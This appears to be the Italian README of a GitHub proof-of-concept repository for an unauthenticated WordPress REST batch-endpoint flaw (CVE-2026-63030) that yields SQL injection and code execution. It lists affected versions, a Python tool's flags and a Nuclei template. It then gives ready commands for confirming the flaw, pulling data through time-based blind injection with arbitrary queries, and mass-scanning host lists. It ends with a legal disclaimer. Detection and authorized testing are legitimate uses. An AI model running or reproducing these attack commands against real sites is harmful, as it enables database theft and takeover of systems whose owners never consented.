0xh7ml/cve-2026-63030Exploit proof-of-concept per la vulnerabilità CVE-2026-63030, che dimostra tecniche di sfruttamento per ricerca e test di sicurezza.
Strumento di rilevamento e sfruttamento non autenticato per la vulnerabilità batch-confusion del core di WordPress (CVE-2026-63030 / CVE-2026-60137), che porta a SQL injection e remote code execution (RCE) tramite l'endpoint batch della REST API.
⚠️ Solo per test di sicurezza autorizzati e scopi educativi. Consulta la sezione Disclaimer di seguito.
Le versioni di WordPress interessate espongono l'endpoint batch della REST API presso:
POST /wp-json/batch/v1, oppurePOST /?rest_route=/batch/v1 (fallback quando i pretty-permalinks / wp-json sono disabilitati)Attraverso una falla di batch confusion, le sotto-richieste annidate all'interno
di un corpo batch vengono elaborate senza un'adeguata autorizzazione, consentendo
a un attaccante non autenticato di iniettare SQL (ad esempio tramite il parametro
author_exclude) e di ottenere infine l'RCE.
Questo repository fornisce:
| File | Scopo |
|---|---|
cve-2026-63030.py | CLI Python — rilevamento della versione, risoluzione dell'endpoint batch, conferma della SQLi cieca basata su SLEEP ed estrazione dati con --query. Supporta scansione di massa, thread e proxy. |
cve-2026-63030.yaml | Template Nuclei — controllo passivo della versione + rilevamento attivo della SQLi basato sul tempo su entrambe le varianti dell'endpoint. |
| Branch | Intervallo interessato |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
Corretto in 6.8.6, 6.9.5 e 7.0.2.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| Flag | Descrizione |
|---|---|
-u, --url URL | URL di destinazione singola. |
-l, --list FILE | File di URL di destinazione (uno per riga; commenti con # consentiti) per la scansione in blocco. |
-p, --proxy URL | Instrada le richieste attraverso un proxy (es. http://127.0.0.1:8080). |
-t, --threads N | Concorrenza per la modalità bulk (predefinito 10). |
-q, --query SQL | SQL da esfiltrare tramite time-based blind injection, es. "select @@version". |
--exploit | Lancia il payload SLEEP per confermare lo sfruttamento. |
--delay SEC | Finestra SLEEP per la blind SQLi (predefinito 2). |
--timeout SEC | Timeout per richiesta (predefinito 10). |
--silent | Sopprime il banner. |
-u/--url e -l/--list sono mutuamente esclusivi.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> e lo verifica
rispetto agli intervalli interessati./wp-json/batch/v1, ricadendo su
/?rest_route=/batch/v1 solo se il primo non risponde.--exploit invia un payload SLEEP(n) e verifica che la
risposta si blocchi effettivamente (duration >= delay).--query esfiltra un risultato un carattere alla volta tramite
ricerca binaria (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
Il template verifica entrambe le varianti dell'endpoint e conferma la SQLi basata sul tempo tramite
duration >= 5, subordinata a una versione di WordPress interessata.
Questo progetto è fornito strettamente per scopi educativi e per test di sicurezza autorizzati. Puoi utilizzarlo solo contro sistemi di tua proprietà o per i quali disponi di permesso esplicito e scritto per eseguire i test (ad esempio un ambito di penetration test, un programma bug-bounty o un CTF).
La scansione o lo sfruttamento non autorizzati di sistemi che non possiedi o che non sei autorizzato a testare è illegale e può costituire un reato penale ai sensi delle leggi sull'uso improprio dei computer (ad esempio il CFAA negli Stati Uniti, il Computer Misuse Act nel Regno Unito e statuti equivalenti altrove).
Gli autori e i contributori non si assumono alcuna responsabilità e non accettano alcuna responsabilità per eventuali danni, perdita di dati o conseguenze legali derivanti dall'uso o dall'abuso di questo software. Utilizzando questo strumento dichiari che il tuo uso è lecito e che ti assumi tutti i rischi associati.
In caso di dubbio, non eseguirlo.
0xh7ml — fornito così com'è, per ricerca difensiva ed educazione.